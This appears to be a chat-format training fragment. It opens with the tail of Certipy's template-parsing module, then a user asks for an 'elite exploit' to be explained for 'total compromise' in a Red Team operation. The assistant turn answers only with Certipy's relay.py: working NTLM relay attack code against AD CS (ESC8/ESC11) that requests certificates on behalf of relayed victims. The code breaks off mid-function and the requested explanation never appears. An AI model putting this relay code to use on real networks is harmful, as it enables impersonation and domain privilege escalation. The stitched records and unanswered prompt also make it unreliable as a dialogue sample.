[]\n\n def get_certificate_authorities(self) -> List[RegEntry]: # type: ignore\n \"\"\"\n Get certificate authorities.\n\n Creates a mock CA entry with the provided templates for analysis.\n\n Returns:\n List containing a single mock CA RegEntry if templates are published,\n otherwise an empty list\n \"\"\"\n if not self.published:\n return []\n\n # Create a mock CA entry with the published templates\n ca = RegEntry(\n **{\n \"attributes\": {\n \"cn\": \"Unknown\",\n \"name\": self.ca,\n \"dNSHostName\": \"localhost\",\n \"cACertificateDN\": \"Unknown\",\n \"cACertificate\": None,\n \"certificateTemplates\": self.published,\n \"objectGUID\": \"Unknown\",\n }\n }\n )\n\n return [ca]\n\n def parse(self, file: str) -> None:\n \"\"\"\n Parse certificate templates from a file.\n\n Args:\n file: Path to the file containing template data\n \"\"\"\n self.file = file\n\n # Ensure the file exists\n file_path = Path(file)\n if not file_path.exists():\n logging.error(f\"File not found: {file}\")\n return\n\n logging.info(f\"Parsing templates from {file}\")\n\n # Use the find functionality to analyze the parsed templates\n self.find()\n\n\nclass ParseBof(Parse):\n \"\"\"\n Parser for certificate templates from BOF output.\n\n This parser handles output from Beacon Object Files that dump registry\n certificate template information.\n \"\"\"\n\n def get_certificate_templates(self) -> List[RegEntry]: # type: ignore\n \"\"\"\n Parse certificate templates from BOF output.\n\n Returns:\n List of RegEntry objects representing certificate templates\n \"\"\"\n templates = []\n\n if self.file is None:\n raise ValueError(\"File not set for parsing\")\n\n try:\n with open(self.file, \"r\", encoding=\"utf-8\") as f:\n contents = f.read()\n # Remove timestamp headers from BOF output\n data = re.sub(\n r\"\\n\\n\\d{2}\\/\\d{2} (\\d{2}:){2}\\d{2} UTC \\[output\\]\\nreceived output:\\n\",\n \"\",\n contents,\n )\n lines = iter(data.splitlines())\n\n template = None\n pending_line = None\n registry_key_prefix = \"HKEY_USERS\\\\.DEFAULT\\\\Software\\\\Microsoft\\\\Cryptography\\\\CertificateTemplateCache\\\\\"\n\n # Process each line\n while True:\n try:\n line = pending_line if pending_line is not None else next(lines)\n pending_line = None\n\n # Start of a new template\n if registry_key_prefix in line:\n if template is not None:\n templates.append(template)\n\n # Initialize new template with name from registry key\n template = RegEntry()\n parts = line.split(\"\\\\\")\n template_name = parts[-1]\n template.set(\"cn\", template_name)\n template.set(\"name\", template_name)\n template.set(\"objectGUID\", template_name)\n continue\n\n # Process registry values\n if line.startswith(\"\\t\"):\n line = line.strip()\n parts = re.split(r\"\\s+\", line, maxsplit=2)\n if len(parts) < 2:\n continue\n\n name = parts[0]\n datatype = parts[1]\n\n # Process different registry value types\n if datatype == \"REG_DWORD\":\n data = int(line.split(\"REG_DWORD\")[1].strip())\n elif datatype == \"REG_SZ\":\n data = line.split(\"REG_SZ\")[1].strip()\n elif datatype == \"REG_MULTI_SZ\":\n data = line.split(\"REG_MULTI_SZ\")[1].strip()\n data = [] if data == \"\" else data.split(\"\\\\0\")\n elif datatype == \"REG_BINARY\":\n data = []\n # Binary data may span multiple lines\n while True:\n try:\n next_line = next(lines)\n if not next_line.startswith(\" \"):\n # Save for next iteration\n pending_line = next_line\n break\n else:\n data.extend(\n re.split(r\"\\s+\", next_line.strip())\n )\n except StopIteration:\n break\n\n # Convert hex strings to bytes\n data = bytes.fromhex(\"\".join(data))\n else:\n logging.debug(f\"Unknown value type: {datatype}\")\n continue\n\n # Map registry names to LDAP attributes if applicable\n if name in self.mappings:\n name = self.mappings[name]\n\n # Set the attribute in the template\n if template is not None:\n template.set(name, data)\n\n except StopIteration:\n break\n except Exception as e:\n logging.debug(f\"Error parsing line: {e}\")\n continue\n\n # Add the last template\n if template is not None:\n templates.append(template)\n\n except Exception as e:\n logging.error(f\"Error parsing BOF file: {e}\")\n handle_error()\n return []\n\n logging.info(f\"Parsed {len(templates)} templates from BOF output\")\n return templates\n\n\nclass ParseOC2Bof(Parse):\n \"\"\"\n Parser for certificate templates from OutflankC2's `reg query` output.\n\n Obtain the output with `reg query -r \"HKEY_USERS\\\\.DEFAULT\\\\Software\\\\Microsoft\\\\Cryptography\\\\CertificateTemplateCache`\n \"\"\"\n\n def get_certificate_templates(self) -> List[RegEntry]: # type: ignore\n \"\"\"\n Parse certificate templates from BOF output.\n\n Returns:\n List of RegEntry objects representing certificate templates\n \"\"\"\n templates = []\n\n if self.file is None:\n raise ValueError(\"File not set for parsing\")\n\n try:\n with open(self.file, \"r\", encoding=\"utf-8\") as f:\n lines = iter(f.readlines())\n\n template = None\n pending_line = None\n name = None\n datatype = None\n registry_key_prefix = \"HKEY_USERS\\\\.DEFAULT\\\\Software\\\\Microsoft\\\\Cryptography\\\\CertificateTemplateCache\\\\\"\n offset = 11\n\n # Process each line\n while True:\n try:\n line = pending_line if pending_line is not None else next(lines)\n pending_line = None\n\n # Start of a new template\n if registry_key_prefix in line:\n if template is not None:\n templates.append(template)\n\n # Initialize new template with name from registry key\n template = RegEntry()\n name = None\n datatype = None\n parts = line.split(\"\\\\\")\n template_name = parts[-1]\n template.set(\"cn\", template_name)\n template.set(\"name\", template_name)\n template.set(\n \"enabled\", True\n ) # Enabled by default since this info is not available\n template.set(\n \"cas\", [\"UNKNOWN\"]\n ) # Unknown certificate authority (if any)\n template.set(\"objectGUID\", template_name)\n continue\n\n # Process registry values\n if line.startswith(\"Reg Value\"):\n name = line[offset:-1]\n elif line.startswith(\"Reg Type\"):\n datatype = line[offset:-1]\n elif line.startswith(\"Reg Data\"):\n data = line[offset:-1].strip()\n\n assert name is not None\n assert datatype is not None\n # Process different registry value types\n if datatype == \"REG_DWORD\":\n data = int(data, 16)\n elif datatype == \"REG_SZ\":\n # Nothing to do here, since data is already a string\n pass\n elif datatype == \"REG_MULTI_SZ\":\n # The reg query bof does not correctly encode REG_MULTI_SZ, since \\0 is replaced by spaces.\n # We need to guess based on the key how we should split.\n # But for most keys, splitting by ' ' is fine.\n # An exception is SupportedCSPs, but this key is not interpreted by regcertipy\n data = [] if data == \"\" else data.split(\" \")\n elif datatype == \"REG_BINARY\":\n data = bytes.fromhex(data)\n else:\n logging.debug(f\"Unknown value type: {datatype}\")\n continue\n\n # Map registry names to LDAP attributes if applicable\n if name in self.mappings:\n name = self.mappings[name]\n\n # Set the attribute in the template\n if template is not None:\n template.set(name, data)\n\n except StopIteration:\n break\n except Exception as e:\n logging.debug(f\"Error parsing line: {e}\")\n continue\n\n # Add the last template\n if template is not None:\n templates.append(template)\n\n except Exception as e:\n logging.error(f\"Error parsing OC2 BOF file: {e}\")\n handle_error()\n return []\n\n logging.info(f\"Parsed {len(templates)} templates from BOF output\")\n return templates\n\n\nclass ParseReg(Parse):\n \"\"\"\n Parser for certificate templates from Windows Registry export files.\n\n This parser handles .reg files exported from Windows containing\n certificate template information.\n \"\"\"\n\n def get_certificate_templates(self) -> List[RegEntry]: # type: ignore\n \"\"\"\n Parse certificate templates from a .reg file.\n\n Returns:\n List of RegEntry objects representing certificate templates\n \"\"\"\n templates = []\n\n if self.file is None:\n raise ValueError(\"File not set for parsing\")\n\n try:\n with open(self.file, \"r\", encoding=\"utf-16-le\", newline=\"\\r\\n\") as f:\n # Verify it's a registry file\n firstline = f.readline()\n if \"Windows Registry Editor Version\" not in firstline:\n raise ValueError(\n \"Unexpected file format, Windows registry file expected\"\n )\n\n data = f.read()\n lines = iter(data.splitlines())\n template = None\n registry_key_prefix = \"[HKEY_USERS\\\\.DEFAULT\\\\Software\\\\Microsoft\\\\Cryptography\\\\CertificateTemplateCache\\\\\"\n\n # Process each line\n for line in lines:\n try:\n # Start of a new template\n if line.startswith(registry_key_prefix):\n if template is not None:\n templates.append(template)\n\n # Initialize new template with name from registry key\n template = RegEntry()\n parts = line[1:-1].split(\"\\\\\")\n template_name = parts[-1]\n template.set(\"cn\", template_name)\n template.set(\"name\", template_name)\n template.set(\"objectGUID\", template_name)\n continue\n\n # Process registry values\n if line.startswith('\"'):\n line = line.strip()\n key_value = line.split(\"=\", 1)\n if len(key_value) < 2:\n continue\n\n name = key_value[0][1:-1] # Remove quotes\n raw_data = key_value[1]\n\n # Process different registry value types\n if raw_data.startswith('\"'):\n # REG_SZ\n data = raw_data[1:-1]\n elif raw_data.startswith(\"dword:\"):\n # REG_DWORD\n data = int(\"0x\" + raw_data[6:], 16)\n # Handle signed values\n data = data if data < 2**31 else data - 2**32\n elif raw_data.startswith(\"hex:\"):\n # REG_BINARY\n data = self._parse_hex_data(raw_data[4:], lines)\n elif raw_data.startswith(\"hex(7):\"):\n # REG_MULTI_SZ\n hex_data = self._parse_hex_data(raw_data[7:], lines)\n data = hex_data.decode(\"utf-16le\").rstrip(\"\\x00\")\n data = [] if data == \"\" else data.split(\"\\x00\")\n else:\n logging.debug(f\"Unknown value type: {raw_data}\")\n continue\n\n # Map registry names to LDAP attributes if applicable\n if name in self.mappings:\n name = self.mappings[name]\n\n # Set the attribute in the template\n if template is not None:\n template.set(name, data)\n except Exception as e:\n logging.debug(f\"Error parsing line: {e}\")\n continue\n\n # Add the last template\n if template is not None:\n templates.append(template)\n\n except Exception as e:\n logging.error(f\"Error parsing registry file: {e}\")\n handle_error()\n return []\n\n logging.info(f\"Parsed {len(templates)} templates from registry file\")\n return templates\n\n def _parse_hex_data(self, initial_data: str, lines_iter: Iterator[str]) -> bytes:\n \"\"\"\n Parse hex data that might span multiple lines.\n\n Args:\n initial_data: The initial hex data string\n lines_iter: Iterator for the file lines\n\n Returns:\n Bytes object containing the parsed hex data\n \"\"\"\n values = []\n data = initial_data\n\n # Process hex data that can span multiple lines (indicated by trailing backslash)\n while True:\n values.extend(data.replace(\",\\\\\", \"\").split(\",\"))\n if not data.endswith(\"\\\\\"):\n break\n\n try:\n data = next(lines_iter).strip()\n except StopIteration:\n break\n\n return bytes.fromhex(\"\".join(values))\n\n\ndef get_parser(\n parser_type: ParserType,\n domain: str,\n ca: str,\n sids: List[str],\n published: List[str],\n **kwargs, # type: ignore\n) -> Parse:\n \"\"\"\n Factory function to get the appropriate parser.\n\n Args:\n parser_type: Type of parser to create\n domain: Domain name\n ca: CA name\n sids: List of SIDs\n published: List of published templates\n kwargs: Additional arguments\n\n Returns:\n Appropriate parser instance\n\n Raises:\n ValueError: If an unsupported parser type is provided\n \"\"\"\n if parser_type == ParserType.BOF:\n return ParseBof(domain, ca, sids, published, **kwargs)\n elif parser_type == ParserType.OC2_BOF:\n return ParseOC2Bof(domain, ca, sids, published, **kwargs)\n elif parser_type == ParserType.REG:\n return ParseReg(domain, ca, sids, published, **kwargs)\n else:\n raise ValueError(f\"Unsupported parser type: {parser_type}\")\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Command-line entry point for the parse functionality.\n\n Args:\n options: Command line arguments\n \"\"\"\n # Extract and remove parse-specific options\n domain = options.domain\n ca = options.ca\n sids = options.sids or []\n published = options.published or []\n file_path = options.file\n parser_format = options.format.lower()\n\n if options.neo4j_user and options.neo4j_pass:\n bloodhound = BloodHound(\n options.neo4j_user,\n options.neo4j_pass,\n options.neo4j_host,\n options.neo4j_port,\n )\n if options.use_owned_sids:\n sids = list(bloodhound.get_owned_sids())\n else:\n bloodhound = None\n\n # Remove processed options\n for opt in [\"domain\", \"ca\", \"sids\", \"published\", \"file\", \"format\"]:\n options.__delattr__(opt)\n\n # Validate input file\n if not file_path or not Path(file_path).exists():\n logging.error(f\"Input file not found: {file_path}\")\n return\n\n try:\n # Create and use the appropriate parser\n parser_type = ParserType(parser_format)\n parser = get_parser(\n parser_type=parser_type,\n domain=domain,\n ca=ca,\n sids=sids,\n published=published,\n bloodhound=bloodhound,\n **vars(options),\n )\n parser.parse(file_path)\n\n except ValueError as e:\n logging.error(f\"Error: {e}\")\n logging.error(\n f\"Supported parser formats: {', '.join([p.value for p in ParserType])}\"\n )\n except Exception as e:\n logging.error(f\"Parse failed: {e}\")\n handle_error()\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/relay.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nCertificate Relay Attack Module for Certipy.\n\nThis module implements NTLM relay attacks against Active Directory Certificate Services (AD CS):\n- ESC8: NTLM relay to AD CS HTTP endpoints (Web Enrollment)\n- ESC11: NTLM relay to AD CS RPC endpoints (MS-ICPR)\n\nThe attacks allow an attacker to obtain certificates for other users by relaying\ntheir NTLM authentication to an AD CS server, which can then be used for privilege\nescalation or persistence.\n\nKey Components:\n- Relay: Main class orchestrating the relay attack\n- ADCSHTTPRelayServer: Relays HTTP authentication to AD CS Web Enrollment\n- ADCSRPCRelayServer: Relays RPC authentication to AD CS Certificate Services\n- ADCSHTTPAttackClient: Handles certificate requests via HTTP\n- ADCSRPCAttackClient: Handles certificate requests via RPC\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport struct\nimport time\nfrom struct import unpack\nfrom threading import Lock\nfrom typing import Any, List, Literal, Optional, Tuple, Union, cast\n\nimport bs4\nimport httpx\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom impacket.dcerpc.v5 import epm\nfrom impacket.examples import logger as _impacket_logger\nfrom impacket.examples.ntlmrelayx.attacks import ProtocolAttack\nfrom impacket.examples.ntlmrelayx.clients import rpcrelayclient\nfrom impacket.examples.ntlmrelayx.clients.httprelayclient import HTTPRelayClient\nfrom impacket.examples.ntlmrelayx.servers import SMBRelayServer\nfrom impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig\nfrom impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor\nfrom impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS\nfrom impacket.ntlm import NTLMAuthChallenge, NTLMAuthChallengeResponse\nfrom impacket.spnego import SPNEGO_NegTokenResp\n\nfrom certipy.lib.certificate import (\n create_csr,\n create_csr_attributes,\n create_key_archival,\n csr_to_der,\n csr_to_pem,\n der_to_cert,\n)\nfrom certipy.lib.constants import OID_TO_STR_NAME_MAP, USER_AGENT\nfrom certipy.lib.errors import handle_error\nfrom certipy.lib.logger import logging\nfrom certipy.lib.ntlm import NtlmNotSupportedError\nfrom certipy.lib.req import (\n MSRPC_UUID_ICPR,\n Request,\n RPCRequestInterface,\n handle_request_response,\n handle_retrieve,\n web_request,\n web_retrieve,\n)\nfrom certipy.lib.target import DnsResolver, Target\n\n\nclass ADCSHTTPRelayServer(HTTPRelayClient):\n \"\"\"\n HTTP relay client for AD CS Web Enrollment interface.\n\n This class relays NTLM authentication to AD CS Web Enrollment services,\n allowing an attacker to request certificates on behalf of the relayed user.\n \"\"\"\n\n def __init__(self, adcs_relay: \"Relay\", *args, **kwargs): # type: ignore\n \"\"\"\n Initialize the HTTP relay server.\n\n Args:\n adcs_relay: The parent Relay object\n args: Arguments to pass to the parent class\n kwargs: Keyword arguments to pass to the parent class\n \"\"\"\n super().__init__(*args, **kwargs)\n self.adcs_relay = adcs_relay\n\n def initConnection(self) -> Literal[True]: # noqa: N802\n \"\"\"\n Establish a connection to the AD CS Web Enrollment service.\n\n Returns:\n True if connection was successful\n \"\"\"\n logging.debug(f\"Using target: {self.adcs_relay.target}...\")\n logging.debug(f\"Base URL: {self.adcs_relay.base_url}\")\n logging.debug(f\"Path: {self.target.path}\")\n logging.debug(f\"Using timeout: {self.adcs_relay.timeout}\")\n\n self.session = httpx.Client(\n base_url=self.adcs_relay.base_url,\n verify=False,\n timeout=self.adcs_relay.timeout,\n headers={\n \"User-Agent\": USER_AGENT,\n },\n )\n\n self.lastresult = None\n\n # Prepare the target path\n if self.target.path == \"\":\n self.path = \"/\"\n else:\n self.path = self.target.path\n\n logging.debug(f\"Using path: {self.target.path}\")\n logging.debug(f\"Using path: {self.path}\")\n\n return True\n\n def sendNegotiate( # noqa: N802 # type: ignore\n self, negotiate_message: bytes\n ) -> Optional[NTLMAuthChallenge]:\n # Check if server wants auth\n res = self.session.get(self.path)\n\n if res.status_code != 401:\n logging.info(\n \"Status code returned: %d. Authentication does not seem required for URL\"\n % res.status_code\n )\n\n authenticate_header = res.headers.get(\"WWW-Authenticate\", None)\n if authenticate_header is None:\n logging.error(\n \"No authentication requested by the server for url %s. Sending NTLM auth anyways\"\n % self.adcs_relay.target\n )\n self.authenticationMethod = \"NTLM\"\n else:\n authenticate_header = authenticate_header.lower()\n if \"ntlm\" in authenticate_header:\n self.authenticationMethod = \"NTLM\"\n elif \"negotiate\" in authenticate_header:\n self.authenticationMethod = \"Negotiate\"\n else:\n logging.error(\n \"Neither NTLM nor Negotiate auth offered by URL, offered protocols: %s\"\n % authenticate_header\n )\n return None\n\n # Negotiate auth\n negotiate = base64.b64encode(negotiate_message).decode()\n headers = {\"Authorization\": f\"{self.authenticationMethod} {negotiate}\"}\n res = self.session.get(self.path, headers=headers)\n\n if res.status_code != 401:\n logging.error(\"Got unauthorized response from AD CS\")\n return None\n\n # Check for NTLM challenge in the response\n authenticate_header = res.headers.get(\"WWW-Authenticate\", None)\n if authenticate_header is None:\n logging.error(\"No authentication challenge returned from server\")\n return None\n\n # Extract the server challenge from the authentication header\n try:\n # Find the challenge portion of the header\n server_challenge_base64 = next(\n s.strip()[len(self.authenticationMethod) :]\n for s in (val.lstrip() for val in authenticate_header.split(\",\"))\n if s.startswith(self.authenticationMethod)\n ).strip()\n except Exception:\n logging.error(\n f\"Failed to parse authentication header: {authenticate_header!r}\"\n )\n handle_error()\n return None\n\n # Decode the challenge\n try:\n server_challenge = base64.b64decode(server_challenge_base64)\n except Exception as e:\n logging.error(\n f\"Failed to decode server challenge: {authenticate_header!r} - {e}\"\n )\n handle_error()\n return None\n\n # Check if challenge is wrapped in SPNEGO\n if (\n server_challenge\n and struct.unpack(\"B\", server_challenge[:1])[0]\n == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP\n ):\n resp = SPNEGO_NegTokenResp(server_challenge)\n type2 = resp[\"ResponseToken\"]\n else:\n type2 = server_challenge\n\n if not type2:\n # This means that the server is not using NTLM\n # and we should not continue with NTLM authentication\n logging.warning(\n \"Server did not return a valid NTLM challenge. The server may have disabled NTLM authentication.\"\n )\n raise NtlmNotSupportedError(\"Server did not return a valid NTLM challenge.\")\n\n # Parse Type 2 message\n challenge = NTLMAuthChallenge()\n try:\n challenge.fromString(type2)\n return challenge\n except Exception as e:\n logging.error(\n f\"Failed to parse server challenge: {authenticate_header!r} - {e}\"\n )\n handle_error()\n\n return None\n\n def sendAuth( # noqa: N802 # type: ignore\n self, authenticate_blob: bytes, _server_challenge: Optional[bytes] = None\n ) -> Tuple[Optional[bytes], int]:\n \"\"\"\n Send authentication data to the target with proper locking to prevent race conditions.\n\n Args:\n authenticateMessageBlob: The authentication message\n serverChallenge: The server challenge\n\n Returns:\n Tuple of (response, status code)\n \"\"\"\n while not self.adcs_relay.attack_lock.acquire():\n time.sleep(0.1)\n\n response = None, STATUS_ACCESS_DENIED\n\n try:\n response = self._send_auth(authenticate_blob)\n except Exception as e:\n logging.error(f\"Failed to authenticate: {e}\")\n handle_error()\n response = None, STATUS_ACCESS_DENIED\n finally:\n self.adcs_relay.attack_lock.release()\n\n return response\n\n def _send_auth(self, authenticate_blob: bytes) -> Tuple[Optional[bytes], int]:\n \"\"\"\n Process and send authentication data to the target.\n\n Args:\n authenticateMessageBlob: The authentication message\n serverChallenge: The server challenge\n\n Returns:\n Tuple of (response, status code)\n \"\"\"\n # Extract the NTLM token from SPNEGO if needed\n if (\n unpack(\"B\", authenticate_blob[:1])[0]\n == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP\n ):\n resp = SPNEGO_NegTokenResp(authenticate_blob)\n token = resp[\"ResponseToken\"]\n else:\n token = authenticate_blob\n\n # Parse NTLM authentication response\n response = NTLMAuthChallengeResponse()\n response.fromString(data=token)\n\n # Extract domain and username from response\n # TODO: Support unicode\n domain = response[\"domain_name\"].decode(\"utf-16le\")\n username = response[\"user_name\"].decode(\"utf-16le\")\n\n # Store the authenticated user for later use\n self.session.user = f\"{domain}\\\\{username}\" # type: ignore\n\n # Build authorization header with NTLM token\n auth = base64.b64encode(token).decode()\n headers = {\"Authorization\": f\"{self.authenticationMethod} {auth}\"}\n\n # Make authenticated request to AD CS\n res = self.session.get(self.path, headers=headers)\n\n if res.status_code == 401:\n logging.error(\"Got unauthorized response from AD CS\")\n return None, STATUS_ACCESS_DENIED\n else:\n logging.debug(\n f\"HTTP server returned status code {res.status_code}, treating as successful login\"\n )\n # Cache the response\n self.lastresult = res.read()\n return None, STATUS_SUCCESS\n\n\nclass ADCSRPCRelayServer(rpcrelayclient.RPCRelayClient, rpcrelayclient.ProtocolClient): # type: ignore\n \"\"\"\n RPC relay client for AD CS Certificate Services interface.\n\n This class relays NTLM authentication to AD CS RPC endpoints (MS-ICPR),\n allowing an attacker to request certificates on behalf of the relayed user.\n \"\"\"\n\n def __init__(\n self,\n config: NTLMRelayxConfig,\n target: object,\n targetPort: Optional[int] = None, # noqa: N803\n extendedSecurity: bool = True, # noqa: N803\n ):\n \"\"\"\n Initialize the RPC relay server.\n\n Args:\n serverConfig: NTLMRelayxConfig object with relay settings\n target: Target information\n targetPort: Target RPC port (default: uses port mapping)\n extendedSecurity: Whether to use extended security\n \"\"\"\n rpcrelayclient.ProtocolClient.__init__(\n self, config, target, targetPort, extendedSecurity\n )\n\n # Set up RPC endpoint details\n self.endpoint = \"ICPR\"\n self.endpoint_uuid = MSRPC_UUID_ICPR\n\n netloc: str = target.netloc # type: ignore\n\n # Find the appropriate RPC binding string\n logging.info(\n f\"Connecting to ncacn_ip_tcp:{netloc}[135] to determine {self.endpoint} stringbinding\"\n )\n self.stringbinding = epm.hept_map(\n netloc, self.endpoint_uuid, protocol=\"ncacn_ip_tcp\"\n )\n\n logging.debug(f\"{self.endpoint} stringbinding is {self.stringbinding}\")\n\n def sendAuth( # noqa: N802 # type: ignore\n self, authenticate_blob: bytes, server_challenge: Optional[bytes] = None\n ) -> Tuple[Optional[bytes], int]:\n \"\"\"\n Send authentication data to the target RPC service.\n\n Args:\n authenticateMessageBlob: The authentication message\n serverChallenge: The server challenge\n\n Returns:\n Tuple of (response, status code)\n \"\"\"\n # Extract the NTLM token from SPNEGO if needed\n if (\n unpack(\"B\", authenticate_blob[:1])[0]\n == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP\n ):\n resp = SPNEGO_NegTokenResp(authenticate_blob)\n auth_data = resp[\"ResponseToken\"]\n else:\n auth_data = authenticate_blob\n\n # Send the authentication data to the target\n self.session.sendBindType3(auth_data) # type: ignore\n\n # Test if authentication was successful by sending a dummy request\n try:\n req = rpcrelayclient.DummyOp()\n self.session.request(req) # type: ignore\n return None, STATUS_SUCCESS\n except rpcrelayclient.DCERPCException as e:\n # Expected error codes for successful auth but invalid operation\n if \"nca_s_op_rng_error\" in str(e) or \"RPC_E_INVALID_HEADER\" in str(e):\n return None, STATUS_SUCCESS\n elif \"rpc_s_access_denied\" in str(e):\n return None, STATUS_ACCESS_DENIED\n else:\n logging.info(f\"Unexpected RPC error from {self.stringbinding}: {e}\")\n return None, STATUS_ACCESS_DENIED\n except Exception as e:\n logging.info(f\"Unexpected error from {self.stringbinding}: {e}\")\n return None, STATUS_ACCESS_DENIED\n\n\nclass ADCSHTTPAttackClient(ProtocolAttack):\n \"\"\"\n Attack client for HTTP-based AD CS certificate requests.\n\n This class handles certificate operations via the Web Enrollment interface.\n \"\"\"\n\n def __init__(self, adcs_relay: \"Relay\", *args, **kwargs): # type: ignore\n \"\"\"\n Initialize the HTTP attack client.\n\n Args:\n adcs_relay: The parent Relay object\n args: Arguments to pass to the parent class\n kwargs: Keyword arguments to pass to the parent class\n \"\"\"\n super().__init__(*args, **kwargs)\n self.adcs_relay = adcs_relay\n\n def run(self) -> None: # type: ignore\n \"\"\"\n Execute the certificate request attack with proper locking.\n \"\"\"\n while not self.adcs_relay.attack_lock.acquire():\n time.sleep(0.1)\n\n try:\n self._run()\n except Exception as e:\n logging.error(f\"Failed to run attack: {e}\")\n handle_error()\n finally:\n self.adcs_relay.attack_lock.release()\n\n def _run(self) -> None:\n \"\"\"\n Main attack logic - request or retrieve a certificate for the relayed user.\n \"\"\"\n # Check if we've already attacked this target and should skip\n if (\n not self.adcs_relay.no_skip\n and self.client.user in self.adcs_relay.attacked_targets\n ):\n logging.debug(\n f\"Skipping user {self.client.user!r} since attack was already performed\"\n )\n return\n\n # Handle template enumeration mode\n if self.adcs_relay.enum_templates:\n self._enumerate_templates()\n return\n\n # Handle certificate retrieval or request\n request_id = self.adcs_relay.request_id\n if request_id:\n self._retrieve_certificate(request_id)\n else:\n self._request_certificate()\n\n def _enumerate_templates(self) -> None:\n \"\"\"\n Enumerate available certificate templates from Web Enrollment.\n \"\"\"\n\n # Request the certificate request page\n res = self.client.get(\"/certsrv/certrqxt.asp\")\n content = res.text\n\n # Parse the HTML to extract templates\n soup = bs4.BeautifulSoup(content, \"html.parser\")\n\n select_tag = cast(\n Optional[bs4.Tag],\n soup.find(\"select\", {\"name\": \"lbCertTemplate\", \"id\": \"lbCertTemplateID\"}),\n )\n\n if select_tag:\n option_tags = select_tag.find_all(\"option\")\n print(f\"Templates Found for {self.client.user!r}:\")\n for option in option_tags:\n if not isinstance(option, bs4.Tag):\n continue\n\n value = option[\"value\"]\n\n if not isinstance(value, str):\n logging.warning(\n f\"Got unexpected value type {type(value)} for template {option.text}: {value!r}\"\n )\n continue\n\n split_value = value.split(\";\")\n if len(split_value) > 1:\n print(split_value[1])\n\n return self.finish_run()\n\n def _retrieve_certificate(self, request_id: int) -> None:\n \"\"\"\n Retrieve a certificate by request ID.\n\n Args:\n request_id: The ID of the certificate request to retrieve\n \"\"\"\n result = web_retrieve(\n self.client,\n request_id,\n )\n\n if result is not None:\n handle_retrieve(\n result,\n request_id,\n self.client.user,\n self.adcs_relay.out,\n self.adcs_relay.pfx_password,\n )\n\n return self.finish_run()\n\n def _request_certificate(self) -> None:\n \"\"\"\n Request a new certificate for the relayed user.\n \"\"\"\n # Choose appropriate template based on username\n template = self.config.template\n if template is None:\n template = \"Machine\" if self.username.endswith(\"$\") else \"User\"\n\n # Generate certificate signing request\n csr, key = create_csr(\n self.username,\n alt_dns=self.adcs_relay.alt_dns,\n alt_upn=self.adcs_relay.alt_upn,\n alt_sid=self.adcs_relay.alt_sid,\n subject=self.adcs_relay.subject,\n key_size=self.adcs_relay.key_size,\n application_policies=self.adcs_relay.application_policies,\n smime=self.adcs_relay.smime,\n )\n\n # Handle key archival if specified\n if self.adcs_relay.archive_key:\n logging.info(\n f\"Trying to retrieve CAX certificate from file {self.adcs_relay.archive_key}\"\n )\n with open(self.adcs_relay.archive_key, \"rb\") as f:\n cax_cert = f.read()\n cax_cert = der_to_cert(cax_cert)\n logging.info(\"Retrieved CAX certificate\")\n\n csr = create_key_archival(csr, key, cax_cert)\n csr = base64.b64encode(csr).decode()\n csr = f\"-----BEGIN PKCS7-----\\n{csr}\\n-----END PKCS7-----\"\n else:\n csr = csr_to_pem(csr).decode()\n\n # Build certificate attributes\n attributes = create_csr_attributes(\n template,\n alt_dns=self.adcs_relay.alt_dns,\n alt_upn=self.adcs_relay.alt_upn,\n alt_sid=self.adcs_relay.alt_sid,\n )\n\n result = web_request(\n self.client,\n self.client.user,\n csr,\n attributes,\n template,\n key,\n self.adcs_relay.out,\n )\n\n if result is not None:\n handle_request_response(\n result,\n key,\n self.client.user,\n self.adcs_relay.subject,\n self.adcs_relay.alt_sid,\n self.adcs_relay.out,\n self.adcs_relay.pfx_password,\n )\n\n return self.finish_run()\n\n def finish_run(self) -> None:\n \"\"\"\n Clean up after attack completion.\n \"\"\"\n self.adcs_relay.attacked_targets.append(self.client.user)\n if not self.adcs_relay.forever:\n self.adcs_relay.shutdown()\n\n\nclass ADCSRPCAttackClient(ProtocolAttack):\n \"\"\"\n Attack client for RPC-based AD CS certificate requests.\n\n This class handles certificate operations via the RPC interface.\n \"\"\"\n\n def __init__(\n self, adcs_relay: \"Relay\", config: NTLMRelayxConfig, dce: Any, username: str\n ):\n \"\"\"\n Initialize the RPC attack client.\n\n Args:\n adcs_relay: The parent Relay object\n config: NTLMRelayxConfig object with relay settings\n dce: DCE/RPC connection\n username: Username of the relayed user\n \"\"\"\n super().__init__(config, dce, username)\n\n self.adcs_relay = adcs_relay\n self.dce = dce\n self.rpctransport = dce.get_rpc_transport()\n self.stringbinding = self.rpctransport.get_stringbinding()\n\n # Parse domain and username\n try:\n if \"/\" in username:\n self.domain, self.username = username.split(\"/\")\n else:\n self.domain, self.username = \"Unknown\", username\n except Exception as e:\n logging.error(f\"Error parsing username {username}: {e}\")\n handle_error()\n self.domain, self.username = \"Unknown\", username\n\n def run(self) -> None: # type: ignore\n \"\"\"\n Execute the certificate request attack with proper locking.\n \"\"\"\n while not self.adcs_relay.attack_lock.acquire():\n time.sleep(0.1)\n\n # Initialize RPC interface\n self.interface = RPCRequestInterface(parent=self.adcs_relay.request)\n self.interface._dce = self.dce\n\n try:\n self._run()\n except Exception as e:\n logging.error(f\"Failed to run attack: {e}\")\n handle_error()\n finally:\n self.adcs_relay.attack_lock.release()\n\n def _run(self) -> None:\n \"\"\"\n Main attack logic - request or retrieve a certificate for the relayed user.\n \"\"\"\n # Check if we've already attacked this target and should skip\n full_username = f\"{self.username}@{self.domain}\"\n if (\n not self.adcs_relay.no_skip\n and full_username in self.adcs_relay.attacked_targets\n ):\n logging.info(\n f\"Skipping user {full_username!r} since attack was already performed\"\n )\n return\n\n logging.info(f\"Attacking user {full_username!r}\")\n\n # Handle certificate retrieval or request\n request_id = self.adcs_relay.request_id\n if request_id:\n _ = self.retrieve()\n else:\n _ = self.request()\n\n 